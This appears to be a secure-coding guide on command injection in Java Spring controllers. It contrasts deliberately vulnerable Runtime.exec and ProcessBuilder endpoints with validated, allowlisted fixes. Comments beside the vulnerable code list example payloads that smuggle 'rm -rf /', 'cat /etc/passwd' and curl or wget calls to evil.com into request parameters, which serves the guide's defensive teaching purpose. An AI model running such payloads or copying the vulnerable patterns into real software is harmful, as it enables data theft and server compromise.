Command injection from HTTP request data in system command execution in Spring

Critical Risk command-injection
javaspringcommand-injectionhttp-requestruntime-execprocessbuilderrce

What it is

A critical security vulnerability where untrusted request data is inserted into OS command strings or arguments and executed via Runtime.exec or ProcessBuilder without allowlisting or proper argument separation. Command injection lets attackers execute arbitrary OS commands, enabling data theft, malware installation, lateral movement, or full server compromise.

@RestController
@RequestMapping("/api/files")
public class VulnerableFileController {
    
    // VULNERABLE: Direct request parameter in command
    @PostMapping("/backup")
    public ResponseEntity<String> backupFile(@RequestParam String filename,
                                            @RequestParam String destination) {
        try {
            // DANGEROUS: User input directly in command construction
            String command = String.format("cp %s %s", filename, destination);
            
            Process process = Runtime.getRuntime().exec(command);
            process.waitFor();
            
            return ResponseEntity.ok("Backup completed for: " + filename);
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Backup failed: " + e.getMessage());
        }
    }
    
    // VULNERABLE: JSON request body in ProcessBuilder
    @PostMapping("/process")
    public ResponseEntity<Map<String, Object>> processFile(@RequestBody ProcessRequest request) {
        try {
            // DANGEROUS: User controls command and arguments
            List<String> command = new ArrayList<>();
            command.add(request.getCommand());
            command.addAll(request.getArguments());
            
            ProcessBuilder pb = new ProcessBuilder(command);
            Process process = pb.start();
            
            // Read output
            BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));
            
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            
            Map<String, Object> result = new HashMap<>();
            result.put("success", true);
            result.put("output", output.toString());
            
            return ResponseEntity.ok(result);
        } catch (Exception e) {
            Map<String, Object> error = new HashMap<>();
            error.put("success", false);
            error.put("error", e.getMessage());
            return ResponseEntity.status(500).body(error);
        }
    }
    
    // VULNERABLE: Path variable with shell execution
    @GetMapping("/analyze/{tool}")
    public ResponseEntity<String> analyzeTool(@PathVariable String tool,
                                             @RequestParam String options,
                                             @RequestParam String file) {
        try {
            // DANGEROUS: Shell invocation with user input
            String command = String.format("%s %s %s", tool, options, file);
            
            ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", command);
            Process process = pb.start();
            process.waitFor();
            
            return ResponseEntity.ok("Analysis completed with " + tool);
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Analysis failed");
        }
    }
    
    // VULNERABLE: Form data processing
    @PostMapping("/batch-process")
    public ResponseEntity<String> batchProcess(@RequestParam("files[]") List<String> files,
                                              @RequestParam String operation) {
        try {
            for (String file : files) {
                // DANGEROUS: Concatenated commands
                String cmd = operation + " " + file;
                Runtime.getRuntime().exec(cmd);
            }
            
            return ResponseEntity.ok("Batch processing completed");
        } catch (Exception e) {
            return ResponseEntity.status(500).body("Batch processing failed");
        }
    }
}

class ProcessRequest {
    private String command;
    private List<String> arguments;
    
    // getters and setters...
    public String getCommand() { return command; }
    public void setCommand(String command) { this.command = command; }
    public List<String> getArguments() { return arguments; }
    public void setArguments(List<String> arguments) { this.arguments = arguments; }
}

// Attack examples:
// POST /api/files/backup?filename=test.txt; rm -rf /; echo&destination=/tmp
// POST /api/files/process {"command":"/bin/sh", "arguments":["-c", "curl evil.com/steal"]}
// GET /api/files/analyze/ls?options=-la; cat /etc/passwd&file=dummy
// POST /api/files/batch-process?files[]=file1.txt&files[]=; wget evil.com/malware;&operation=cat
@RestController
@RequestMapping("/api/secure-files")
@Validated
@PreAuthorize("hasRole('USER')")
public class SecureFileController {
    
    private static final Logger logger = LoggerFactory.getLogger(SecureFileController.class);
    
    private final SecureFileService fileService;
    private final ApplicationEventPublisher eventPublisher;
    
    public SecureFileController(SecureFileService fileService, 
                               ApplicationEventPublisher eventPublisher) {
        this.fileService = fileService;
        this.eventPublisher = eventPublisher;
    }
    
    // SECURE: Validated backup with allowlisted destinations
    @PostMapping("/backup")
    public ResponseEntity<BackupResponse> backupFile(
            @Valid @RequestBody BackupRequest request,
            Authentication auth) {
        
        try {
            // Validate user has permission for this operation
            if (!hasBackupPermission(auth, request.getFilename())) {
                return ResponseEntity.status(HttpStatus.FORBIDDEN)
                    .body(new BackupResponse(false, "Access denied"));
            }
            
            BackupResult result = fileService.performSecureBackup(request);
            
            // Audit logging
            eventPublisher.publishEvent(new FileOperationEvent(
                "backup", auth.getName(), request.getFilename(), result.isSuccess()
            ));
            
            return ResponseEntity.ok(new BackupResponse(result.isSuccess(), result.getMessage()));
            
        } catch (ValidationException e) {
            logger.warn("Backup validation failed: {}", e.getMessage());
            return ResponseEntity.badRequest()
                .body(new BackupResponse(false, "Invalid request: " + e.getMessage()));
        } catch (SecurityException e) {
            logger.error("Security violation in backup: {}", e.getMessage());
            return ResponseEntity.status(HttpStatus.FORBIDDEN)
                .body(new BackupResponse(false, "Security violation"));
        } catch (Exception e) {
            logger.error("Backup operation failed", e);
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(new BackupResponse(false, "Operation failed"));
        }
    }
    
    // SECURE: Allowlisted operations with validation
    @PostMapping("/analyze")
    public ResponseEntity<AnalysisResponse> analyzeFile(
            @Valid @RequestBody AnalysisRequest request,
            Authentication auth) {
        
        try {
            AnalysisResult result = fileService.performSecureAnalysis(request);
            
            eventPublisher.publishEvent(new FileOperationEvent(
                "analyze", auth.getName(), request.getFilePath(), result.isSuccess()
            ));
            
            return ResponseEntity.ok(new AnalysisResponse(
                result.isSuccess(), 
                result.getOutput(),
                result.getMetadata()
            ));
            
        } catch (Exception e) {
            logger.error("Analysis failed", e);
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(new AnalysisResponse(false, "Analysis failed", null));
        }
    }
    
    // SECURE: Batch processing with limits and validation
    @PostMapping("/batch-process")
    @PreAuthorize("hasRole('ADMIN')")
    public ResponseEntity<BatchProcessResponse> batchProcess(
            @Valid @RequestBody BatchProcessRequest request,
            Authentication auth) {
        
        try {
            // Validate batch size limits
            if (request.getFiles().size() > 10) {
                return ResponseEntity.badRequest()
                    .body(new BatchProcessResponse(false, "Too many files (max 10)", null));
            }
            
            BatchProcessResult result = fileService.performBatchProcess(request);
            
            eventPublisher.publishEvent(new FileOperationEvent(
                "batch_process", auth.getName(), 
                String.join(",", request.getFiles()), result.isSuccess()
            ));
            
            return ResponseEntity.ok(new BatchProcessResponse(
                result.isSuccess(),
                result.getMessage(),
                result.getResults()
            ));
            
        } catch (Exception e) {
            logger.error("Batch processing failed", e);
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(new BatchProcessResponse(false, "Batch processing failed", null));
        }
    }
    
    @GetMapping("/operations")
    public ResponseEntity<List<String>> getAvailableOperations() {
        List<String> operations = fileService.getAvailableOperations();
        return ResponseEntity.ok(operations);
    }
    
    private boolean hasBackupPermission(Authentication auth, String filename) {
        // Implement role-based access control
        return auth.getAuthorities().stream()
            .anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN") || 
                          a.getAuthority().equals("ROLE_BACKUP_USER"));
    }
}

// Validated request classes
class BackupRequest {
    @NotBlank(message = "Filename is required")
    @Pattern(regexp = "^[a-zA-Z0-9._-]+$", message = "Invalid filename format")
    @Size(max = 255, message = "Filename too long")
    private String filename;
    
    @ValidBackupDestination
    private String destination;
    
    // getters and setters...
}

class AnalysisRequest {
    @ValidAnalysisOperation
    private String operation;
    
    @ValidFilePath
    private String filePath;
    
    @ValidAnalysisOptions
    private List<String> options;
    
    // getters and setters...
}

class BatchProcessRequest {
    @NotEmpty(message = "File list cannot be empty")
    @Size(max = 10, message = "Too many files")
    @Valid
    private List<@Pattern(regexp = "^[a-zA-Z0-9._-]+$") String> files;
    
    @ValidBatchOperation
    private String operation;
    
    // getters and setters...
}

// Custom validators
@Target({ElementType.FIELD})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = BackupDestinationValidator.class)
public @interface ValidBackupDestination {
    String message() default "Invalid backup destination";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

@Component
public class BackupDestinationValidator implements ConstraintValidator<ValidBackupDestination, String> {
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        if (value == null) return false;
        
        Set<String> allowedDestinations = Set.of(
            "/backup/documents",
            "/backup/uploads",
            "/backup/temp"
        );
        
        return allowedDestinations.contains(value);
    }
}

// Response classes
class BackupResponse {
    private final boolean success;
    private final String message;
    
    public BackupResponse(boolean success, String message) {
        this.success = success;
        this.message = message;
    }
    
    // getters...
}

class AnalysisResponse {
    private final boolean success;
    private final String output;
    private final Map<String, Object> metadata;
    
    public AnalysisResponse(boolean success, String output, Map<String, Object> metadata) {
        this.success = success;
        this.output = output;
        this.metadata = metadata;
    }
    
    // getters...
}

💡 Why This Fix Works

The vulnerable code directly incorporates HTTP request data into system commands without validation, allowing command injection through various Spring endpoints. The secure version implements comprehensive input validation, operation allowlisting, role-based access control, audit logging, and uses secure command execution patterns.

Why it happens

Directly incorporating HTTP request parameters, form data, or path variables into command strings without validation. Spring's automatic parameter binding makes it easy to accidentally pass user input to system commands, creating injection points.

Root causes

HTTP Request Parameters in Command Strings

Directly incorporating HTTP request parameters, form data, or path variables into command strings without validation. Spring's automatic parameter binding makes it easy to accidentally pass user input to system commands, creating injection points.

Preview example – JAVA
@RestController
public class VulnerableController {
    
    // VULNERABLE: Request parameter in command
    @PostMapping("/backup")
    public String backupFile(@RequestParam String filename) throws IOException {
        // DANGEROUS: User input directly in command
        String command = "cp " + filename + " /backup/";
        
        Process process = Runtime.getRuntime().exec(command);
        return "Backup initiated for: " + filename;
    }
    
    // VULNERABLE: Path variable in system command
    @GetMapping("/analyze/{tool}")
    public String analyzeTool(@PathVariable String tool, 
                             @RequestParam String options) throws IOException {
        // DANGEROUS: Both path and query params in command
        String cmd = tool + " " + options + " /data/sample.txt";
        Runtime.getRuntime().exec(cmd);
        return "Analysis completed";
    }
}

// Attack examples:
// POST /backup?filename=test.txt; rm -rf /; echo
// GET /analyze/ls?options=-la; cat /etc/passwd; echo

Request Body Data in ProcessBuilder

Using JSON request body data or form submissions to build command arguments for ProcessBuilder. Even when using ProcessBuilder, improper argument construction with user data can lead to command injection through argument manipulation.

Preview example – JAVA
@RestController
public class ProcessController {
    
    @PostMapping("/process")
    public String processData(@RequestBody ProcessRequest request) throws IOException {
        // VULNERABLE: Request data as command arguments
        List<String> command = new ArrayList<>();
        command.add(request.getTool());
        command.addAll(request.getArguments()); // User controls arguments
        
        ProcessBuilder pb = new ProcessBuilder(command);
        Process process = pb.start();
        
        return "Processing with: " + String.join(" ", command);
    }
    
    // VULNERABLE: Shell invocation with request data
    @PostMapping("/shell")
    public String executeShell(@RequestBody ShellCommand cmd) throws IOException {
        // DANGEROUS: Shell execution with user command
        ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", cmd.getCommand());
        pb.start();
        return "Shell command executed";
    }
}

class ProcessRequest {
    private String tool;
    private List<String> arguments;
    // getters/setters...
}

// Attack payload:
// POST /process {"tool":"/bin/sh", "arguments":["-c", "curl evil.com/steal-data"]}
// POST /shell {"command":"rm -rf / && wget evil.com/backdoor.sh"}

Fixes

1

Use Spring Security and Input Validation

Implement Spring Security annotations and comprehensive input validation. Use @PreAuthorize for access control and @Valid with custom validators to ensure only safe, allowlisted commands and arguments are processed.

View implementation – JAVA
@RestController
@Validated
public class SecureController {
    
    private final SecureCommandService commandService;
    
    // SECURE: Input validation and access control
    @PostMapping("/backup")
    @PreAuthorize("hasRole('ADMIN')")
    public ResponseEntity<BackupResult> backupFile(
            @Valid @RequestBody BackupRequest request) {
        
        try {
            BackupResult result = commandService.performBackup(request);
            return ResponseEntity.ok(result);
        } catch (SecurityException e) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN)
                .body(new BackupResult(false, "Access denied: " + e.getMessage()));
        } catch (Exception e) {
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(new BackupResult(false, "Operation failed"));
        }
    }
    
    @PostMapping("/analyze")
    @PreAuthorize("hasRole('USER')")
    public ResponseEntity<AnalysisResult> analyzeData(
            @Valid @RequestBody AnalysisRequest request) {
        
        try {
            AnalysisResult result = commandService.performAnalysis(request);
            return ResponseEntity.ok(result);
        } catch (Exception e) {
            return ResponseEntity.badRequest()
                .body(new AnalysisResult(false, "Invalid request"));
        }
    }
}

// Validation classes
class BackupRequest {
    @NotBlank
    @Pattern(regexp = "^[a-zA-Z0-9._-]+$", message = "Invalid filename")
    @Size(max = 255)
    private String filename;
    
    @ValidBackupDestination
    private String destination;
    
    // getters/setters...
}

class AnalysisRequest {
    @ValidAnalysisOperation
    private String operation;
    
    @ValidFilePath
    private String filePath;
    
    @ValidAnalysisOptions
    private List<String> options;
    
    // getters/setters...
}

// Custom validators
@Target({ElementType.FIELD})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = BackupDestinationValidator.class)
public @interface ValidBackupDestination {
    String message() default "Invalid backup destination";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

@Component
public class BackupDestinationValidator implements ConstraintValidator<ValidBackupDestination, String> {
    private static final Set<String> ALLOWED_DESTINATIONS = Set.of(
        "/backup/documents", "/backup/uploads", "/backup/temp"
    );
    
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        return value != null && ALLOWED_DESTINATIONS.contains(value);
    }
}
2

Implement Secure Command Service with Allowlisting

Create a dedicated service that handles all system commands with strict allowlisting, input validation, and secure execution patterns. Use ProcessBuilder with argument arrays and avoid shell invocation.

View implementation – JAVA
@Service
public class SecureCommandService {
    
    private static final Map<String, CommandTemplate> ALLOWED_COMMANDS = new HashMap<>();
    private static final Path WORKING_DIR = Paths.get("/secure/workspace");
    private static final Path BACKUP_DIR = Paths.get("/secure/backup");
    
    static {
        ALLOWED_COMMANDS.put("backup", new CommandTemplate(
            Arrays.asList("cp"), 2, Set.of(".txt", ".csv", ".json")
        ));
        ALLOWED_COMMANDS.put("analyze", new CommandTemplate(
            Arrays.asList("wc", "-l"), 1, Set.of(".txt", ".log")
        ));
        ALLOWED_COMMANDS.put("validate", new CommandTemplate(
            Arrays.asList("file"), 1, Set.of(".xml", ".json")
        ));
    }
    
    private static class CommandTemplate {
        final List<String> baseCommand;
        final int maxArgs;
        final Set<String> allowedExtensions;
        
        CommandTemplate(List<String> baseCommand, int maxArgs, Set<String> allowedExtensions) {
            this.baseCommand = baseCommand;
            this.maxArgs = maxArgs;
            this.allowedExtensions = allowedExtensions;
        }
    }
    
    // SECURE: Allowlist-based command execution
    public BackupResult performBackup(BackupRequest request) throws IOException {
        // Validate request
        validateBackupRequest(request);
        
        // Resolve file paths securely
        Path sourceFile = resolveSecurePath(request.getFilename());
        Path destDir = Paths.get(request.getDestination());
        
        // Perform backup using Java NIO (safer than shell commands)
        String backupName = generateBackupName(request.getFilename());
        Path backupPath = destDir.resolve(backupName);
        
        Files.copy(sourceFile, backupPath, StandardCopyOption.REPLACE_EXISTING);
        
        return new BackupResult(true, "File backed up to: " + backupName);
    }
    
    public AnalysisResult performAnalysis(AnalysisRequest request) throws IOException {
        // Validate operation
        CommandTemplate template = ALLOWED_COMMANDS.get(request.getOperation());
        if (template == null) {
            throw new IllegalArgumentException("Operation not allowed: " + request.getOperation());
        }
        
        // Validate file path
        Path filePath = resolveSecurePath(request.getFilePath());
        validateFileExtension(filePath, template.allowedExtensions);
        
        // Build secure command
        List<String> command = new ArrayList<>(template.baseCommand);
        command.add(filePath.toString());
        
        // Add validated options
        List<String> validOptions = validateOptions(request.getOptions(), template.maxArgs - 1);
        command.addAll(validOptions);
        
        // Execute securely
        String output = executeSecureCommand(command);
        return new AnalysisResult(true, output);
    }
    
    private void validateBackupRequest(BackupRequest request) {
        if (request.getFilename() == null || request.getDestination() == null) {
            throw new IllegalArgumentException("Filename and destination required");
        }
        
        // Additional validation beyond annotations
        if (request.getFilename().contains("..")) {
            throw new SecurityException("Directory traversal not allowed");
        }
    }
    
    private Path resolveSecurePath(String filename) throws IOException {
        Path path = WORKING_DIR.resolve(filename).normalize();
        
        // Ensure path is within working directory
        if (!path.startsWith(WORKING_DIR)) {
            throw new SecurityException("Path outside working directory: " + filename);
        }
        
        // Verify file exists and is readable
        if (!Files.exists(path) || !Files.isReadable(path)) {
            throw new FileNotFoundException("File not found or not readable: " + filename);
        }
        
        return path;
    }
    
    private void validateFileExtension(Path filePath, Set<String> allowedExtensions) {
        String filename = filePath.getFileName().toString();
        String extension = filename.substring(filename.lastIndexOf('.'));
        
        if (!allowedExtensions.contains(extension)) {
            throw new IllegalArgumentException("File extension not allowed: " + extension);
        }
    }
    
    private List<String> validateOptions(List<String> options, int maxOptions) {
        if (options == null) {
            return Collections.emptyList();
        }
        
        if (options.size() > maxOptions) {
            throw new IllegalArgumentException("Too many options provided");
        }
        
        // Validate each option
        Pattern safeOption = Pattern.compile("^[a-zA-Z0-9._-]+$");
        for (String option : options) {
            if (!safeOption.matcher(option).matches()) {
                throw new IllegalArgumentException("Invalid option: " + option);
            }
            
            if (option.length() > 50) {
                throw new IllegalArgumentException("Option too long: " + option);
            }
        }
        
        return new ArrayList<>(options);
    }
    
    private String executeSecureCommand(List<String> command) throws IOException {
        // SECURE: ProcessBuilder with argument array
        ProcessBuilder pb = new ProcessBuilder(command);
        pb.directory(WORKING_DIR.toFile());
        
        // Set secure environment
        Map<String, String> env = pb.environment();
        env.clear();
        env.put("PATH", "/usr/bin:/bin");
        env.put("HOME", "/tmp");
        env.put("USER", "webapp");
        
        Process process = pb.start();
        
        try {
            boolean finished = process.waitFor(30, TimeUnit.SECONDS);
            if (!finished) {
                process.destroyForcibly();
                throw new IOException("Command timeout");
            }
            
            // Read output safely
            try (BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()))) {
                
                return reader.lines()
                    .limit(100) // Limit output lines
                    .collect(Collectors.joining("\n"));
            }
            
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            process.destroyForcibly();
            throw new IOException("Process interrupted", e);
        }
    }
    
    private String generateBackupName(String originalName) {
        return originalName + "." + Instant.now().toEpochMilli() + ".bak";
    }
}
3

Use Spring Boot Configuration and Profiles

Configure secure defaults using Spring Boot properties and profiles. Implement environment-specific security settings and use Spring's configuration validation to ensure secure deployment.

View implementation – JAVA
# application-security.yml
security:
  commands:
    enabled: true
    working-directory: "/secure/workspace"
    backup-directory: "/secure/backup"
    max-execution-time: 30
    allowed-operations:
      - backup
      - analyze
      - validate
    file-size-limit: 10485760  # 10MB
    
logging:
  level:
    com.example.security: DEBUG
  pattern:
    console: "%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n"

// Configuration class
@Configuration
@ConfigurationProperties(prefix = "security.commands")
@Validated
public class SecureCommandConfig {
    
    @Value("${security.commands.enabled:false}")
    private boolean enabled;
    
    @NotBlank
    private String workingDirectory;
    
    @NotBlank
    private String backupDirectory;
    
    @Min(1)
    @Max(300)
    private int maxExecutionTime;
    
    @NotEmpty
    private List<String> allowedOperations;
    
    @Min(1024)
    @Max(104857600) // 100MB max
    private long fileSizeLimit;
    
    @PostConstruct
    public void validateConfig() {
        if (!enabled) {
            throw new IllegalStateException("Secure commands not enabled");
        }
        
        // Validate directories exist and are writable
        Path workDir = Paths.get(workingDirectory);
        Path backupDir = Paths.get(backupDirectory);
        
        if (!Files.exists(workDir) || !Files.isWritable(workDir)) {
            throw new IllegalStateException("Working directory not accessible: " + workingDirectory);
        }
        
        if (!Files.exists(backupDir) || !Files.isWritable(backupDir)) {
            throw new IllegalStateException("Backup directory not accessible: " + backupDirectory);
        }
    }
    
    // getters and setters...
}

@Component
@ConditionalOnProperty(name = "security.commands.enabled", havingValue = "true")
public class CommandSecurityAuditor {
    
    private static final Logger logger = LoggerFactory.getLogger(CommandSecurityAuditor.class);
    
    @EventListener
    public void handleCommandExecution(CommandExecutionEvent event) {
        // Log all command executions for security monitoring
        logger.info("Command executed - Operation: {}, User: {}, File: {}, Success: {}",
            event.getOperation(),
            event.getUsername(),
            event.getFilename(),
            event.isSuccess());
        
        // Alert on suspicious patterns
        if (isSuspiciousActivity(event)) {
            logger.warn("Suspicious command activity detected: {}", event);
            // Could trigger additional security measures
        }
    }
    
    private boolean isSuspiciousActivity(CommandExecutionEvent event) {
        // Check for rapid successive operations
        // Check for operations on system files
        // Check for unusual file extensions
        return false; // Implementation depends on security requirements
    }
}

// Security event for monitoring
public class CommandExecutionEvent {
    private final String operation;
    private final String username;
    private final String filename;
    private final boolean success;
    private final Instant timestamp;
    
    // constructor, getters...
}

// Usage in controller with proper error handling
@RestController
@RequestMapping("/api/secure")
@PreAuthorize("hasRole('USER')")
public class SecureApiController {
    
    private final SecureCommandService commandService;
    private final ApplicationEventPublisher eventPublisher;
    
    @PostMapping("/backup")
    public ResponseEntity<?> backup(@Valid @RequestBody BackupRequest request, 
                                   Authentication auth) {
        try {
            BackupResult result = commandService.performBackup(request);
            
            // Publish audit event
            eventPublisher.publishEvent(new CommandExecutionEvent(
                "backup", auth.getName(), request.getFilename(), result.isSuccess()
            ));
            
            return ResponseEntity.ok(result);
            
        } catch (SecurityException e) {
            logger.error("Security violation in backup operation: {}", e.getMessage());
            return ResponseEntity.status(HttpStatus.FORBIDDEN)
                .body(Map.of("error", "Access denied"));
        } catch (Exception e) {
            logger.error("Backup operation failed", e);
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
                .body(Map.of("error", "Operation failed"));
        }
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from http request data in system command execution in spring and many other security issues in your codebase.